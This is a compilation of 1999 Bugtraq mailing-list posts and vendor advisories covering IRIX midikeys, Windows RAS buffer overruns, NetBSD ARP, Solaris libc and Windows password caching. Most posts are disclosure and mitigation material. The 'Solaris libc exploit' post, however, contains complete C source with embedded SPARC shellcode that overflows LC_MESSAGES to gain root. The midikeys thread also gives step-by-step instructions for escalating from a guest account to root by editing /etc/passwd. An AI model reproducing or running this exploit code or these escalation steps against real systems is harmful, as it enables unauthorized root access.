   http://support.microsoft.com/support/kb/articles/q231/3/68.asp.
 - Microsoft Knowledge Base (KB) article Q231656,
   Preventing Viewcode.asp from Viewing Known Server Files,
   http://support.microsoft.com/support/kb/articles/q231/6/56.asp.

(Note: It might take 24 hours from the posting of the bulletin for the
updates to the KB articles  to be visible in the Web-based Knowledge Base.)

What Customers Should Do
========================
Microsoft highly recommends that customers evaluate the degree of risk that
this vulnerability  poses to their systems and determine whether to download
and install the patch. The patch can be  found at:

 - Internet Information Server:
   ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/Viewcode-fix/
 - Site Server:
   ftp://ftp.microsoft.com/bussys/sitesrv/sitesrv-public/fixes
   /usa/siteserver3/hotfixes-postsp2/Viewcode-fix/

NOTE: The above URLs have been word-wrapped for readability.

Microsoft has provided a checklist that customers can use to ensure that
their web servers have been properly secured. This checklist is available
at http://www.microsoft.com/security/products/iis/checklist.asp

More Information
================
Please see the following references for more information related to this
issue.
 - Microsoft Security Bulletin MS99-013,
   Patches Available for File Viewers Vulnerability
   (The Web-posted version of this bulletin),
   http://www.microsoft.com/security/bulletins/ms99-013.asp.
 - Microsoft Knowledge Base (KB) article Q231368,
   Solution Available for File Viewers Vulnerability,
   http://support.microsoft.com/support/kb/articles/q231/3/68.asp.
 - Microsoft Knowledge Base (KB) article Q231656,
   Preventing Viewcode.asp from Viewing Known Server Files,
   http://support.microsoft.com/support/kb/articles/q231/6/56.asp.

Obtaining Support on this Issue
===============================
If you require technical assistance with this issue, please
contact Microsoft Technical Support. For information on contacting
Microsoft Technical Support, please see
http://support.microsoft.com/support/contact/default.asp.

Acknowledgments
===============
Microsoft acknowledges WebTrends (www.webtrends.com) for discovering this
vulnerability and  reporting it to us.

Revisions
=========
 - May 07, 1999: Bulletin Created.
 - May 19, 1999: Bulletin updated to provide patch information.


For additional security-related information about Microsoft products, please
visit  http://www.microsoft.com/security


-----------------------------------------------------------------------

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED "AS IS"
WITHOUT WARRANTY OF  ANY KIND. MICROSOFT DISCLAIMS ALL WARRANTIES, EITHER
EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES  OF MERCHANTABILITY AND FITNESS
FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL MICROSOFT CORPORATION  OR ITS
SUPPLIERS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT,
INCIDENTAL,  CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES,
EVEN IF MICROSOFT CORPORATION OR ITS  SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE  EXCLUSION OR
LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO THE
FOREGOING  LIMITATION MAY NOT APPLY.

(c) 1999 Microsoft Corporation. All rights reserved. Terms of Use.

   *******************************************************************
You have received  this e-mail bulletin as a result  of your registration
to  the   Microsoft  Product  Security  Notification   Service.  You  may
unsubscribe from this e-mail notification  service at any time by sending
an  e-mail  to  MICROSOFT_SECURITY-SIGNOFF-REQUESTANNOUNCE.MICROSOFT.COM
The subject line and message body are not used in processing the request,
and can be anything you like.

For  more  information on  the  Microsoft  Security Notification  Service
please    visit    http://www.microsoft.com/security/bulletin.htm.    For
security-related information  about Microsoft products, please  visit the
Microsoft Security Advisor web site at http://www.microsoft.com/security.

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: IRIX midikeys root exploit.

Re: IRIX midikeys root exploit.

Erik Mouw (J.A.K.MouwITS.TUDELFT.NL)
Thu, 20 May 1999 11:49:11 +0200

Larry W. Cashdollar wrote:
>      Please forgive me if this has already been on this list. I searched
> geek-girl with no luck.  I have been auditing our IRIX boxes and found what I
> believe to be a new vulnerability.
>
>      On IRIX 6.5 systems (IRIX Release 6.5 IP28 )
>      # uname -a
>      IRIX64 devel 6.5 05190004
>
>      The setuid root binary midikeys can be used to read any file on the
> system using its gui interface.  It can also be used to edit anyfile on the
> system.  I was able to get from guest account access to root access using the
> following procedure.
>
>
>      1) Choose an unpassworded account and telnet in. I like guest or lp.
>
>      devel 25% id
>      uid=998 gid=998(guest)

Unpassworded account? That's a known (and documented) feature on IRIX
systems. First thing you do when you unpack an IRIX box: set a root
password and disable the open accounts (EZsetup, OutOfBox, lp, guest,
4Dgifts, sgiweb). There's even an entry in the "System manager" to do it.

You just need an account to gain root priviliges; it's not limited to the
unpassworded accounts, any normal user could use this exploit.

>      2) Execute the midikeys application with display set to your host.
>
>      devel 26% ./midikeys
>      devel 27% Xlib:  extension "GLX" missing on display "grinch:0.0".
>      Xlib:  extension "GLX" missing on display "grinch:0.0".
>
>
>      3) under the midikeys window click sounds and then midi songs. This will
>      open a file manager type interface.
>
>      4) You can enter the path and filename of files you which to read.
>          including root owned with group/world read/write permissions unset.
>
>      5) If you select a file like "/usr/share/data/music/README" it will
>      appear in a text editor.  Use the text editor to open /etc/passwd and
>      make modifications at will. Save and enjoy.
>
> So I removed the '*' from sysadm...
>
> $ su sysadm
> # id
> uid=0(root) gid=0(sys)
>
> devel 28%  ls -l /usr/sbin/midikeys
> -rwsr-xr-x    1 root     root      218712 Jan 10 17:19 /usr/sbin/midikeys
>
>
>      I have tested this on 2 IRIX 6.5 hosts with success. A patch exists for
>      startmidi and stopmidi buffer overflows.

Verified to work on an O2 running IRIX 6.3:
  uname -aR
  IRIX o2 6.3 O2 R10000 12161207 IP32

And on an Octane running IRIX 6.5.3:
  uname -aR
  IRIX64 octane 6.5 6.5.3m 01221553 IP30

Editor was XEmacs, but that doesn't really matter.


Erik
(strictly speaking for myself)

--
J.A.K. (Erik) Mouw, Information and Communication Theory Group, Department
of Electrical Engineering, Faculty of Information Technology and Systems,
Delft University of Technology, PO BOX 5031,  2600 GA Delft, The Netherlands
Phone: +31-15-2785859  Fax: +31-15-2781843  Email J.A.K.Mouwits.tudelft.nl
WWW: http://www-ict.its.tudelft.nl/~erik/

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Secure Storage of Secrets in Windows

Re: Secure Storage of Secrets in Windows

Eivind Eklund (eivindYES.NO)
Wed, 19 May 1999 23:21:57 +0200

On Wed, May 19, 1999 at 09:42:51AM +0300, Olaf Titz wrote:
> > The Win32 API provides such service. Although in the past it was found
> > that its encryption was rather weak Microsoft claims to have fixed it,
> > no one else has claimed otherwise, and its better than nothing.
>
> Since this allows the encryption of user data and Microsoft ist U.S.
> based , the algorithm _must_ be weak. Otherwise they could have used
> just RC4 with the password as key instead of RC4 with a 32 bit(!)
> hash of the password. This is not Microsoft stupidity but U.S.
> government stupidity.
>
> With today's CPU power 32 bit of key is not better than nothing.
> I could brute force that in one week with my single PC.

I'll just note that back when PWL breaking was fairly new, Frank
Stevenson (mostly) with a tiny bit of help from yours truly optimized
a breaker for this to run in just under 24 hours on a Pentium 90 (or
perhaps it was a Pentium 66 - I no longer remember).

The next day Frank found the vulnerabilities that let us crack the
passwords in no time at all, due to incorrect initialization of RC4,
but we had it under 24 hours before that :-)

Eivind.

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Buffer Overruns in RAS allows execution of arbitary code as system

Buffer Overruns in RAS allows execution of arbitary code as system

Mnemonix (mnemonixGLOBALNET.CO.UK)
Wed, 19 May 1999 11:37:00 +0100

Introduction
Microsoft's RAS Service on Windows NT (all service packs) contains numerous
buffer overruns that allow execution of arbritary code that can allow an
attacker to gain system privilege access to the machine.

Details

The RAS service is used so that remote users may dial in to the RAS server
and be able to access resources local to the RAS server or the network it is
attached to as a whole. RAS is also the service used when users wish to dial
out from an NT machine, for instance, into their Internet Service Provider.

With the RAS service comes RASSRV.EXE, which implements the Remote Access
Server service and is used for accepting incoming calls, RASMAN.EXE which
implements the RAS Autodial Manager and RAS Connection Manager services
which are used to dial out. RASPHONE.EXE is the application used when a user
manual dials out, as well as editing the Phone Book. RASDIAL.EXE is also
used to dial out.

RASSRV.EXE and RASMAN.EXE are system processes and run in the security
context of the system where as RASPHONE.EXE and RASDIAL.EXE normally run in
the security context of the user who starts the process. From tests it seems
that RASSRV.EXE does not have this problem, however all the others do.

The buffer overruns occur because the RAS API functions, such as
RasGetDialParams( ), perform no bounds checking and fill structures that
contain character arrays.

For instance, when the Autodial Manager dials out it uses the
RasDailGetParams ( ) function to read in such things as the telephone number
from the Phonebook, rasphone.pbk. It places these into the RASDIALPARAMS
structure that contains characters arrays. Because no bounds checking is
performed if the rasphone.pbk contains an overly long telephone number it
will cause RASMAN.EXE to access violate. If the phone number is over 299
characters in length we overwrite the processor's EIP and can completely
change the programs order of execution and execute arbitary code, though
more on this later. By default rasphone.pbk gives Everybody the Change NTFS
permission meaning that anyone with access to this file may edit its
contents and cause the buffer overflow. Permissions for this file should be
tightened, although a normal user can create their own Phone Book for use
with RAS, meaning that, irrespective of the permissions on rasphone.pbk in
the %systemroot%\system32\ras directory, these attacks can still be
performed.

As far as impact is concerned if RASMAN.EXE is overflowed it means that
anybody with local access to the machine can gain elevated privileges to
Administrator level. As far as RASPHONE.EXE and RASDIAL.EXE are concerned
these two programs are often used in conjunction with the Scheduler Service,
a system service, and may also be exploited to gain access to the system.

Administrators are therefore strongly advised to apply the patch from
Microsoft as soon as possible.

Further to this advisory I have written a document on buffer overruns in
Windows NT and their exploitation, looking at RASMAN.EXE as an example. This
can be found at http://www.infowar.co.uk/mnemonix/ntbufferoverruns.htm.


Cheers,
David Litchfield
http://www.infowar.co.uk/mnemonix
http://www.arca.com

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: NetBSD Security Advisory 1999-010

NetBSD Security Advisory 1999-010

matthew green (mrgETERNA.COM.AU)
Fri, 21 May 1999 23:02:25 +1000

-----BEGIN PGP SIGNED MESSAGE-----

                 NetBSD Security Advisory 1999-010
                 =================================

Topic:		ARP table vulnerability
Version:	NetBSD-1.3*
Severity:	Denial of service or traffic hijacking from local network
		cable is possible


Abstract
========

The implementation of ARP packet reception is vulnerable two attacks:

	- on multihomed hosts, ARP packets from cable A can overwrite
	  ARP entries for cable B.

	- for all hosts, ARP packets can overwrite ARP entries marked
	  as static.


Technical Details
=================

ARP is a protocol used to dynamically obtain IPv4 to Link level address
translation, used for Ethernet, FDDI, Token ring, and ARCnet cables,
described in RFC 826.

The first vulnerability is specific to hosts with more than one ARP capable
network attached.  The address information of incoming ARP packets is not
checked to ensure that it corresponds to one of the addresses of the
interface on which the packet arrived.  Thus, it would be able to suppress
or redirect traffic from the attacked host to a different destination.

The second vulnerability is related to so-called "static" arp entries.
The original NetBSD ARP implementation (as that of most other vendors)
allows the creation of "static" or "permanent" ARP entries.  They are
typically used for two reasons:

	- as a security measure, to disallow the redirection of traffic
	  addressed to priviledged hosts by rogue hosts on the cable to
	  themselves or elsewhere,

	- as a cheap routing protocol ("proxy ARP"), mostly when
	  connecting single hosts through point to point links.  To the
	  outside, they occur as if they where on the (e.g.) Ethernet, but
	  traffic destined for them is redirected by the ARP mechanism to
	  the routing host.

The 2nd usage doesn't create specific denial of service possibilities as
the ARP protocol is insecure in itself.

However, if static ARP entries are used to prevent D.O.S. attacks, they need
to be protected from overwriting.


Solutions and Workarounds
=========================

NetBSD-1.4, and NetBSD-1.4_BETA after 1999-05-05, are fixed.

A patch is available for NetBSD 1.3.3 to fix this problem.  You may
find this patch on the NetBSD ftp server:

    ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/19990505-arp


NetBSD-current since 19990506 is not vulnerable.  Users of
NetBSD-current should upgrade to a source tree later than 19990506.



Thanks To
=========

Both vulnerabilities were reported by Olaf "Rhialto" Seibert in NetBSD
PR 7489 and PR 7490.  A fix was provided by Zdenek Salvet in PR 7497,
and integrated into NetBSD by Ignatios Souvatzis.


Revision History
================

	1999/05/21 - initial version


More Information
================

Information about NetBSD and NetBSD security can be found at
http://www.NetBSD.ORG/ and http://www.NetBSD.ORG/Security/.


Copyright 1999, The NetBSD Foundation, Inc.  All Rights Reserved.

$NetBSD: NetBSD-SA1999-010.txt,v 1.3 1999/05/21 12:47:00 mrg Exp $

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv

iQCVAwUBN0VV2j5Ru2/4N2IFAQHDLwQAht39y0fw6s9lve+8L+LDaH5LPDHXkj3X
YlPtGQAmqKOy/qf8sRbnHYQOm4uxmLpUv5KJznL37o5C8PvA/YZSU5Yq2S7Modkk
Po0fxKeacwwf6y4gkT3s6TNOl1W6vxg3P2Ruir6dRbC5FNS4G6PCboa4yUjA0pg2
MSU393S0GV8=
=b765
-----END PGP SIGNATURE-----

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Secure Storage of Secrets in Windows

Re: Secure Storage of Secrets in Windows

Bronek Kozicki (bronekwpi.com.pl)
Thu, 20 May 1999 19:14:49 +0200

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

To disable password caching in  Windows NT one should set following
registry value to 0. By default it's not set, and assumed to be 10 .

Hive: HKEY_LOCAL_MACHINE
Key: Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Name: CachedLogonsCount
Type: REG_DWORD
Value: 0 to 50

Information about this registry value can be found in KB, article
Q172931.

Bronek Kozicki

- --------------------------------------------------
ICQ UID: 25404796            PGP KeyID: 0x4A30FA9A
07EE 10E6 978C 6B33 5208  094E BD61 9067 4A30 FA9A



- -----Original Message-----
From: Bugtraq List [mailto:BUGTRAQNETSPACE.ORG]On Behalf Of Nick
FitzGerald
Sent: Tuesday, May 18, 1999 2:35 PM
To: BUGTRAQNETSPACE.ORG
Subject: Re: Secure Storage of Secrets in Windows


> The Win32 API provides such service. Although in the past it was
> found that its encryption was rather weak Microsoft claims to have
> fixed it, no one else has claimed otherwise, and its better than
> nothing. (References:
> http://www.netsys.com/firewalls/firewalls-9512/0442.html
> http://www.geek-girl.com/bugtraq/1995_4/0138.html ).
>
> So here is a reminder to Windows application programs that you can
> use WNetCachePassword and WNetGetCachedPassword, which in some
> documentation MS calls the Master Password API.

Indeed.

And for admins who wish to prevent user machines from caching
passwords the following Win9x REG file may be useful:

   REGEDIT4


[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\
Network]
   "DisablePwdCaching"=dword:00000001

Apply that to a client machine then nuke all PWL files in the Windows
dir and you need not worry whether future vulnerabilities might open
you to exposure from cached passwords.

I imagine there is something similar for NT.  Anyone know the
details?


Regards,

Nick FitzGerald


-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.0.2i

iQA/AwUBN0Q0Xr1hkGdKMPqaEQIu7QCgnGIIkG6/sqbfpNz1X7VwrXDjKh8AoIYe
gwtMemc7l4H8HM6L6hh/IXMk
=Q7gq
-----END PGP SIGNATURE-----

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: IRIX midikeys root exploit.

Re: IRIX midikeys root exploit.

Philipp Schott (philippSMAUG.MATHEMATIK.UNI-FREIBURG.DE)
Thu, 20 May 1999 19:08:44 -0600

On May 20, 11:49am, Erik Mouw wrote:
> Subject: Re: IRIX midikeys root exploit.
>
> Verified to work on an O2 running IRIX 6.3:
>   uname -aR
>   IRIX o2 6.3 O2 R10000 12161207 IP32
>
> And on an Octane running IRIX 6.5.3:
>   uname -aR
>   IRIX64 octane 6.5 6.5.3m 01221553 IP30
>
> Erik
> (strictly speaking for myself)
>

how's the package called, that includes "midikeys"??
on all boxes (5.3, 6.3, 6.4, 6.5.2) i've checked there is no such program.
but there is start-/stopmidi.

philipp

--
   ===============================================================
   Philipp M. W. Schott
   Institute for Applied Mathematics	Fon: +49 (0)761/203-5626
   Hermann-Herder-Str. 10		Fax: +49 (0)761/203-5632
   Freiburg University			smtp:  pmwspmws.de
   D-79104 Freiburg			http:   www.pmws.de
   ===============================================================

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: IRIX ftpd overflow

IRIX ftpd overflow

Lance James (lanceDIGIGAMI.COM)
Thu, 20 May 1999 15:00:00 -0700

Regarding the wu-ftpd buffer overflow, it seems vulnerable in IRIX as well.
While testing it, it seemed to have core dumped and dumped the passwd file
in there as well, but it's only core dumped once. Any feedback on IRIX info
would be helpful.
Lance James
Network Security Administrator
Alchemy Communications, Inc.
lancealchemy.net

P.S. Tested on Irix 6.3

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: IRIX midikeys vulnerability list.

IRIX midikeys vulnerability list.

Larry W. Cashdollar (lwcashdBIW.COM)
Fri, 21 May 1999 10:56:33 -0400

I am attempting to compile a list of vulnerable systems for this exploit.  I would like
to provide as much information to SGI as possible. Here is what I have found so
far.

Erik Mouw  Email J.A.K.Mouwits.tudelft.nl   |
---------------------------------------------|
Verified to work on an O2 running IRIX 6.3:  |
  uname -aR
  IRIX o2 6.3 O2 R10000 12161207 IP32

And on an Octane running IRIX 6.5.3:
  uname -aR
  IRIX64 octane 6.5 6.5.3m 01221553 IP30

Larry W. Cashdollar	lwcashdbiw.com	      |	
----------------------------------------------|
Verified on an ONYX/2 running IRIX 6.5.
  uname -aR
  IRIX64 onyx 6.5 05190003 IP27

Verified on an Indigo running IRIX 6.5.      			
  uname -aR
  IRIX64 flier 6.5 05190004 IP28

I was unable to test this on our IRIX 6.2 box.
/usr/sbin/midikeys does exist and it is setuid
root however.

Anthony C . Zboralski aczhert.org            |
----------------------------------------------|			   	
It works on latest 6.5.4 maintenance release: |
IRIX ra 6.5 04151556 IP32 mips



Larry W. Cashdollar

Unix Administrator
Computer Security Operations

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: IRIX midikeys root exploit.

Re: IRIX midikeys root exploit.

=?ISO-8859-1?Q?Bj=F6rn?= Torkelsson (torkelHPC2N.UMU.SE)
Fri, 21 May 1999 08:55:01 +0200

Erik Mouw <J.A.K.MouwITS.TUDELFT.NL> writes:

> >      I have tested this on 2 IRIX 6.5 hosts with success. A patch exists for
> >      startmidi and stopmidi buffer overflows.
>
> Verified to work on an O2 running IRIX 6.3:
>   uname -aR
>   IRIX o2 6.3 O2 R10000 12161207 IP32
>
> And on an Octane running IRIX 6.5.3:
>   uname -aR
>   IRIX64 octane 6.5 6.5.3m 01221553 IP30

Verified to work on an O2 running IRIX 6.5.3.

After a chmod u-s midikeys, midikeys still works, at least after a very
quick test. Does anybody know why midikeys is setuid root?

Is this reported to SGI?

/torkel

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: ExLibris Aleph Web server Security Alert

ExLibris Aleph Web server Security Alert

Jakub Urbanec (urbanecCIV.ZCU.CZ)
Fri, 21 May 1999 12:08:00 +0200

We have found a security hole in web server bundled with Aleph librarian
system ver. 3.25 and higher (ExLibris). The web server in its default
configuration allows anybody to view any file in the system the aleph
instalation owner can access.

It it very simple to grab for example /etc/passwd file from Aleph web
server.

The bug with all details was already posted to ExLibris
and to some groups of Aleph users.

Workaround:

1) do not run web server as root at any circumstance!
2) use /etc/shadow or similar system
3) use tcpd wrappers for denying possible logins
4) watch logs from web server

Please spread this message to Aleph admins!


					Jakub CUBA++ Urbanec

 .....................................................................
 Univerzitni 20    tel.:+420-19-7491538           Jakub Cuba++ Urbanec
 306 14,  Plzen    http://home.zcu.cz/~urbanec             LPS-CIV-ZCU
 Czech Republic

---------- Forwarded message ----------
Date: Wed, 19 May 1999 11:25:59 -0400
From: "Larry W. Cashdollar" <lwcashdBIW.COM>
To: BUGTRAQNETSPACE.ORG
Subject: IRIX midikeys root exploit.

Aleph1,
	Please forgive me if this has already been on this list. I searched
geek-girl with no luck.  I have been auditing our IRIX boxes and found what I
believe to be a new vulnerability.
	
	On IRIX 6.5 systems (IRIX Release 6.5 IP28 )
	# uname -a
	IRIX64 devel 6.5 05190004
	
	The setuid root binary midikeys can be used to read any file on the
system using its gui interface.  It can also be used to edit anyfile on the
system.  I was able to get from guest account access to root access using the
following procedure.
	
	
	1) Choose an unpassworded account and telnet in. I like guest or lp.
	
	devel 25% id
	uid=998 gid=998(guest)


	2) Execute the midikeys application with display set to your host.

	devel 26% ./midikeys
	devel 27% Xlib:  extension "GLX" missing on display "grinch:0.0".
	Xlib:  extension "GLX" missing on display "grinch:0.0".


	3) under the midikeys window click sounds and then midi songs. This will 	
	open a file manager type interface.
	
	4) You can enter the path and filename of files you which to read.
	    including root owned with group/world read/write permissions unset.

	5) If you select a file like "/usr/share/data/music/README" it will
	appear in a text editor.  Use the text editor to open /etc/passwd and
	make modifications at will. Save and enjoy.
	
So I removed the '*' from sysadm...

$ su sysadm
# id
uid=0(root) gid=0(sys)

devel 28%  ls -l /usr/sbin/midikeys
-rwsr-xr-x    1 root     root      218712 Jan 10 17:19 /usr/sbin/midikeys

	
	I have tested this on 2 IRIX 6.5 hosts with success. A patch exists for
	startmidi and stopmidi buffer overflows.
	
	More info on previous patch:
	ftp://sgigate.sgi.com/security/19980301-01-PX).
	
	However, I didnt find any for midikeys.
	
	
	-- Larry W. Cashdollar
	   UNIX/Security Operations.
	   Computer Sciences Corporation.
	

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: IRIX midikeys root exploit.

Re: IRIX midikeys root exploit.

Steve Allen (allenDOOBIE.ITDL.DS.BOEING.COM)
Fri, 21 May 1999 09:04:47 -0700

On May 20,  7:08pm, Philipp Schott wrote:
>how's the package called, that includes "midikeys"??
>on all boxes (5.3, 6.3, 6.4, 6.5.2) i've checked there is no such program.
>but there is start-/stopmidi.


   dmedia_eoe.sw.synth


~Steve


--
Steven R. Allen - steve.allenboeing.com   --   SGI Admin Weenie
http://www.eskimo.com/~wormey/                      ICQ# 6709819
Contrary to popular belief, Unix is user friendly.
It just happens to be selective about who it makes friends with.

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Solaris libc exploit

Solaris libc exploit

UNYUNShadowPenguinSecurity ("UNYUNShadowPenguinSecurity")
Sat, 22 May 1999 03:47:02 +0900

Hello.

libc overflows when that handles LC_MESSAGES.
So, If you set the long string to LC_MESSAGES and call
/bin/sh, the core file is dumped.
This is serious problem.

The long string that contains the exploit code is set to
LC_MESSAGES and called suid program by execl(), local user
can get the root privilege. The called suid program have
not to contain the overflow bugs.
I confirmed this bug on Solaris2.6 and Solaris7.
Solaris2.4, 2.5 does not contain this bug.

The following program is an example to get root privilege.
This is tested on Solaris2.6 for Sparc edition.
This program calls "/bin/passwd", but you can also specify
other  suid programs such as "/bin/su" or "/bin/rsh".


/*============================================================
   ex_lobc.c Overflow Exploits( for Sparc Edition)
   The Shadow Penguin Security
   (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4thusa.net)
  ============================================================
*/
#define EV          "LC_MESSAGES="
#define ADJUST      0
#define OFFSET      5392
#define STARTADR    400
#define NOP         0xa61cc013
#define RETS        600

char    x[80000];

char exploit_code[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2b\x0b\xda\xdc\xae\x15\x63\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c"
"\x94\x10\x20\x10\x94\x22\xa0\x10"
"\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

int i;
unsigned int ret_adr;

main()
{
    putenv("LANG=");
    memset(x,'x',70000);

    for (i = 0; i < ADJUST; i++) x[i]=0x40;
    for (i = ADJUST; i < 1000; i+=4){
        x[i+3]=NOP & 0xff;
        x[i+2]=(NOP >> 8 ) &0xff;
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
    for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
    ret_adr=get_sp()-OFFSET;
    printf("jumping address : %lx\n",ret_adr);
    if ((ret_adr & 0xff) ==0 ){
        ret_adr -=16;
        printf("New jumping address : %lx\n",ret_adr);
    }
    for (i = ADJUST+RETS; i < RETS+600; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    memcpy(x,EV,strlen(EV));
    x[3000]=0;
    putenv(x);
    execl("/bin/passwd","passwd",(char *)0);
}


---
The Shadow Penguin Security : http://base.oc.to/skyscraper/byte/551
Webmaster : UNYUN (unewn4thusa.net)

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: IRIX midikeys Vulnerability

IRIX midikeys Vulnerability

SGI Security Coordinator (agent99BOYTOY.CSD.SGI.COM)
Fri, 21 May 1999 21:26:22 GMT

-----BEGIN PGP SIGNED MESSAGE-----

______________________________________________________________________________
                           SGI Security Advisory

         Title:  IRIX midikeys Vulnerability
        Number:  19990501-01-A
          Date:  May 21, 1999
______________________________________________________________________________

SGI provides this information freely to the SGI user community for its
consideration, interpretation, implementation and use.   SGI recommends
that this information be acted upon as soon as possible.

SGI provides the information in this Security Advisory on an "AS-IS" basis
only, and disclaims all warranties with respect thereto, express, implied
or otherwise, including, without limitation, any warranty of merchantability
or fitness for a particular purpose.  In no event shall SGI be liable for
any loss of profits, loss of business, loss of data or for any indirect,
special, exemplary, incidental or consequential damages of any kind arising
from your use of, failure to use or improper use of any of the instructions
or information in this Security Advisory.
______________________________________________________________________________


SGI acknowledges the publicly reported IRIX midikeys vulnerability and is
currently investigating.

For the protection of all our customers, SGI does not disclose, discuss
or confirm vulnerabilities until a full investigation has occurred and
any necessary patch(es) or release streams are available for all vulnerable
and supported Unicos and IRIX operating systems.

Until SGI has more definitive information to provide, customers
are encouraged to assume all security vulnerabilities as exploitable and take
appropriate steps according to local site security policies and requirements.

Steps to remove setuid on the IRIX midikeys program are found in the
Temporary Solution section below. No further information is available at
this time.

As further information becomes available, additional advisories will be
issued via the normal SGI security information distribution methods
including the wiretap mailing list.


- ----------------------------
- ----- Temporary Solution ---
- ----------------------------

The steps below can be used to remove setuid from the IRIX midikeys(1)
program.

      ================
      ****  NOTE  ****
      ================

      Removal of the setuid permission disables functionality that
      is not implemented or utilized at this time.

     1) Verify midikeys(1) is installed on the system.
        It is installed by default on IRIX 6.2 and higher.
        Note that the program size may vary depending on IRIX release.

              % ls -la /usr/sbin/midikeys
              -rwsr-xr-x 1 root sys  218712 Mar  8 14:57 /usr/sbin/midikeys

     2) Become the root user on the system.

              % /bin/su -
              Password:
              #

     3) Change the permissions on the program.

              # /bin/chmod 555 /usr/sbin/midikeys

     4) Verify the new permissions on the program.

              # ls -la /usr/sbin/midikeys
              -r-xr-xr-x 1 root sys  218712 May  20 13:57 /usr/sbin/midikeys

     4) Return to previous level.

              # exit
              %


- -----------------------------------------
- --- SGI Security Information/Contacts ---
- -----------------------------------------

If there are questions about this document, email can be sent to
cse-security-alertsgi.com.

                      ------oOo------

SGI provides security information and patches for use by the entire
SGI community.  This information is freely available to any person
needing the information and is available via anonymous FTP and the Web.

The primary SGI anonymous FTP site for security information and patches
is sgigate.sgi.com (204.94.209.1).  Security information and patches
are located under the directories ~ftp/security and ~ftp/patches,
respectively. The SGI Security Headquarters Web page is accessible at
the URL http://www.sgi.com/Support/security/security.html .

For issues with the patches on the FTP sites, email can be sent to
cse-security-alertsgi.com.

For assistance obtaining or working with security patches, please
contact your SGI support provider.

                      ------oOo------

SGI provides a free security mailing list service called wiretap and
encourages interested parties to self-subscribe to receive (via email) all
SGI Security Advisories when they are released. Subscribing to the mailing
list can be done via the Web (http://www.sgi.com/Support/security/wiretap.html)
or by sending email to SGI as outlined below.

% mail wiretap-requestsgi.com
subscribe wiretap <YourEmailAddress>
end
^d

In the example above, <YourEmailAddress> is the email address that you
wish the mailing list information sent to.  The word end must be on a
separate line to indicate the end of the body of the message. The
control-d (^d) is used to indicate to the mail program that you are
finished composing the mail message.


                      ------oOo------

SGI provides a comprehensive customer World Wide Web site. This site is
located at http://www.sgi.com/Support/security/security.html .

                      ------oOo------

For reporting *NEW* SGI security issues, email can be sent to
security-alertsgi.com or contact your SGI support provider.  A
support contract is not required for submitting a security report.

______________________________________________________________________________
    This information is provided freely to all interested parties and
    may be redistributed provided that it is not altered in any way,
    SGI is appropriately credited and the document retains and includes
    its valid PGP signature.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBN0XOZ7Q4cFApAP75AQFAXQP/XPq9JyXVm8xiPDjxF327yZ8QAF3u1OF6
27Z+wIW01G6XKo0Hfu1mPVV0DNQnuKA8NQHST6iQ8F3CnwMI8Ue2RxMMDursQ19Q
X9FkoIJCHveDWlJwExwR99Gek/rG/pRT4ZizqvaT87ac4yLqK/4IGzo/WUJXxJT1
zhD9saxG/Z8=
=QQ8H
-----END PGP SIGNATURE-----

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: IRIX midikeys vulnerability list.

Re: IRIX midikeys vulnerability list.

Aleph One (aleph1UNDERGROUND.ORG)
Fri, 21 May 1999 16:39:18 -0700

This is a summary of some of the responses to this thread. It seems
that whether or not you use a vi or some other editor makes a difference.
Would the people that reported it as not working please repeat their
test using a different editor? Thank you.


>From Jean-Francois Malouin <Jean-Francois.Malouinbic.mni.mcgill.ca>:

  dmedia_eoe.sw.synth ( at least on IRIX 6.5.3m).

  Following the aforementionned recipe, I tried to modify some system files
  on an Octane IP30 running 6.5.3m but to no avail. hmmmm, I see that same
  system as being reported vulnerable...

  # uname -Ra
  # IRIX64 6.5 6.5.3m 01221553 IP30

>From Jeremy Hinegardner <jeremymeru.cecs.missouri.edu>:

